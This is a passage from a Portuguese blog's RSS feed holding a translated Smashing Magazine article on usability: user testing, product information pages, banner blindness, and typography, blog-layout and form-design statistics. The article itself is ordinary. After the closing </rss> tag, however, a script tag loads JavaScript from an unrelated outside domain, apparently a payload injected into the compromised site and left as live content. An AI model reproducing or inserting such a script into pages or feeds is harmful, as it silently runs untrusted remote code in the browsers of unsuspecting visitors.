<p>Os maiores problemas normalmente são descobertos pelo primeiro ou segundo usuário, e os testadores seguintes confirmam estas questões e descobrem as restantes de menor importância. Apenas dois usuários de teste, provavelmente encontraria a metade dos problemas em seu site. Isto significa que o teste não tem de ser extensivo ou caro para produzir bons resultados. Os maiores ganhos são obtidos quando se passa de zero usuários de teste para um, por isso não tenha medo de fazer muito pouco: <strong>qualquer teste é melhor do que nada</strong>.</p>
<h2>9. Páginas Informativas Ajudam a Destacar seu Produto</h2>
<p>Se seu site tem páginas de produto, as pessoas que compram on-line definitivamente querem vê-los. Mas as páginas de muitos produtos não dispõem de informações suficientes, mesmo para os visitantes fazerem uma verificação rápida. Este é um problema grave, porque a informação de produto ajudam as pessoas a tomarem a decisão de compra. A pesquisa mostra que produtos com informação pobres são cerca de 8% dos problemas de usabilidade e até 10% de falha do usuário (ou seja, o usuário desiste e deixa o site) (Priorizando Usabilidade Web).</p>
<div id="attachment_114" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-114" title="ipod" src="http://marcos.blog.br/wp-content/uploads/2009/09/ipod.jpg" alt="A Apple fornece separado páginas de &quot;Especificações técnicas&quot; para seus produtos, e mantém os detalhes complicados longe das páginas mais simples de marketing, mas proporciona acesso fácil quando eles são necessárias." width="480" height="320" /><p class="wp-caption-text">A Apple fornece separado páginas de &quot;Especificações técnicas&quot; para seus produtos, e mantém os detalhes complicados longe das páginas mais simples de marketing, mas proporciona acesso fácil quando eles são necessárias.</p></div>
<p>Forneça informações detalhadas sobre seus produtos, mas não caia na armadilha de bombardear usuários com muito texto. <strong>Torne a informação mais fácil de digerir</strong>. Torne a página agradável e divida o texto em segmentos pequenos e com abundância de sub-títulos. Adicionar  abundância de imagens para o seu produto, e usar a linguagem certa: <strong>não usar jargão que os visitantes podem não entender</strong>.</p>
<h2></h2>
<h2>10. A Maioria Dos Usuários Estão Cegos Para Publicidade</h2>
<p>Jakob Nielsen relata em sua pesquisa <a  href="http://www.useit.com/alertbox/banner-blindness.html" target="_blank">Alertbox</a> que a maioria dos usuários são essencialmente cegos para banners. Se eles estão procurando um trecho de informação em uma página ou são absorvidos pelo conteúdo, eles não vão se distrair com os anúncios na lateral.</p>
<p>A implicação disso é que os usuários não apenas irão evitar os anúncios, mas que eles <strong>vão evitar qualquer coisa que se pareça com um anúncio, mesmo se não seja um anúncio</strong>. Alguns itens de navegação muito estilosos pode ser parecidos com banners, deve-se ter cuidado com esses elementos.</p>
<div id="attachment_115" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-115" title="flashden" src="http://marcos.blog.br/wp-content/uploads/2009/09/flashden.jpg" alt="Os banners quadrado na lateral esquerda do FlashDen não são realmente anúncios: eles são links de conteúdo. Eles se parecem muito próximas à banners e isso pode ser ignorado por alguns usuários." width="480" height="411" /><p class="wp-caption-text">Os banners quadrado na lateral esquerda do FlashDen não são realmente anúncios: eles são links de conteúdo. Eles se parecem muito próximas à banners e isso pode ser ignorado por alguns usuários.</p></div>
<p>Dito isto, os anúncios que se parecem com conteúdo irão levar as pessoas a clica-los. Isso pode gerar mais receita publicitária, mas existe o custo de perda de confiança dos seus usuários, ao clicar em coisas que achavam ser conteúdo genuíno. Antes de enveredar por esse caminho, considerar o fator: <strong>receitas de curto prazo versus confiança a longo prazo</strong>.</p>
<h2>Bônus: Resultados de Nosso Estudo de Caso</h2>
<p>Nos últimos anos, a equipe editorial do Smashing Magazine realizou uma série de estudos de caso em uma tentativa de identificar soluções de design e práticas comuns. Até agora, nós analisamos os formulários da Web, blogs, tipografia e carteiras, e mais estudos de caso serão publicados no próximo mês. Nós encontramos alguns padrões interessantes que poderiam servir como diretrizes para o seu próximo projeto.</p>
<p>Aqui, vamos rever algumas das práticas e padrões de projeto que descobrimos em nossos estudos de caso nesta visão geral breve e compacta, para sua conveniência.</p>
<p>Segundo nosso<a  href="http://www.smashingmagazine.com/2009/08/20/typographic-design-survey-best-practices-from-the-best-blogs/" target="_blank"> estudo de tipografia</a>:</p>
<ul>
<li><strong>Altura da Linha (em pixels) ÷ tamanho da fonte (em pixels) = 1,48 </strong><br />
1,5 geralmente é recomendada em livros clássicos tipográfico, e o nosso estudo confirma essa regra. Muito poucos sites usam nada menos do que isso. E o número de sites que passar por cima de 1,48 diminui à medida que você começa mais a partir deste valor.</li>
<li><strong>Comprimento de linha (pixels) ÷ altura da linha (pixels) = 27,8 </strong><br />
O comprimento da linha média é de 538,64 pixels (excluindo margens e enchimento), que é bastante grande, considerando que muitos sites ainda tem de 12 a 13 pixels em tamanho de fonte.</li>
<li><strong>Espaço entre parágrafos (pixels) ÷ altura da linha (pixels) = 0,754 </strong><br />
Acontece que o espaçamento entre parágrafos (ou seja, o espaço entre a última linha de um parágrafo e a primeira linha da próxima) raramente é igual ao principal (o que seria a principal característica do ritmo vertical perfeito). Mais frequentemente, espaçamento entre parágrafos é apenas 75% do ponto principal. A razão pode ser que o líder geralmente inclui o espaço ocupado por descendentes, e porque a maioria dos personagens não tem descendentes, espaço em branco adicional é criado sob a linha.</li>
<li><strong>O número ideal de caracteres por linha é de 55 a 75 </strong><br />
Segundo o clássico livro tipográfico, o número ideal de caracteres por linha é entre 55 e 75, mas entre 75 e 85 caracteres por linha é mais popular na prática.</li>
</ul>
<p>De acordo com nosso <a  href="http://www.smashingmagazine.com/2008/07/24/a-small-study-of-big-blogs/" target="_blank">estudo de design de blogs</a>:</p>
<ul>
<li>Layouts geralmente têm uma largura fixa (pixel-based) (92%) e são geralmente centrada (94%). A largura de layouts fixos varia entre 951 e 1000 pixels (56%)</li>
<li>A página principal mostra trechos de 10 a 20 posts (62%).</li>
<li>58% do total de layout de um site é usado para exibir o conteúdo principal.</li>
</ul>
<p>Segundo nosso <a  href="http://www.smashingmagazine.com/2008/07/04/web-form-design-patterns-sign-up-forms/" target="_blank">estudo de design de formulário Web</a>:</p>
<ul>
<li>O link de cadastro intitula-se &#8220;inscrever&#8221; (40%) e é colocado no canto superior direito.</li>
<li>Formulários de Inscrição têm layouts simples, para evitar confundir os usuários (61%).</li>
<li>Títulos de campos de entrada estão em negrito (62%), e os campos são dispostas verticalmente mais do que eles estão dispostos horizontalmente (86%).</li>
<li>Designers tendem a incluir alguns campos obrigatórios e alguns campos opcionais.</li>
<li>Confirmação de e-mail não é exibida (82%), mas a confirmação de senha é (72%).</li>
<li>O botão &#8220;Enviar&#8221; ou é alinhado à esquerda (56%) ou centralizado (26%).</li>
</ul>
<p>De acordo com nosso <a  href="http://www.smashingmagazine.com/2009/09/17/portfolio-design-study-design-patterns-and-current-practices/" target="_blank">estudo de sites de portfólio</a>:</p>
<ul>
<li>89% dos layouts são centrados horizontalmente, e a maioria deles tem um grande menu de navegação horizontal.</li>
<li>47,2% dos portfólios tem a página do cliente, e 67,2% têm algum tipo de página de serviços autônomos.</li>
<li>63,6% têm uma página detalhada para cada projeto, incluindo estudos de caso, depoimentos, apresentações de slides com imagens, rascunhos e esboços.</li>
<li>Páginas de Contato contêm instruções de número de telefone, endereço de e-mail, endereço postal, vCard e formulário on-line.</li>
</ul>
<p>Este Post é uma tradução do original: <a  href="http://www.smashingmagazine.com/2009/09/24/10-useful-usability-findings-and-guidelines/" target="_blank">10 Useful Usability Findings and Guidelines<br />
</a></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/10-dicas-uteis-de-usabilidade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>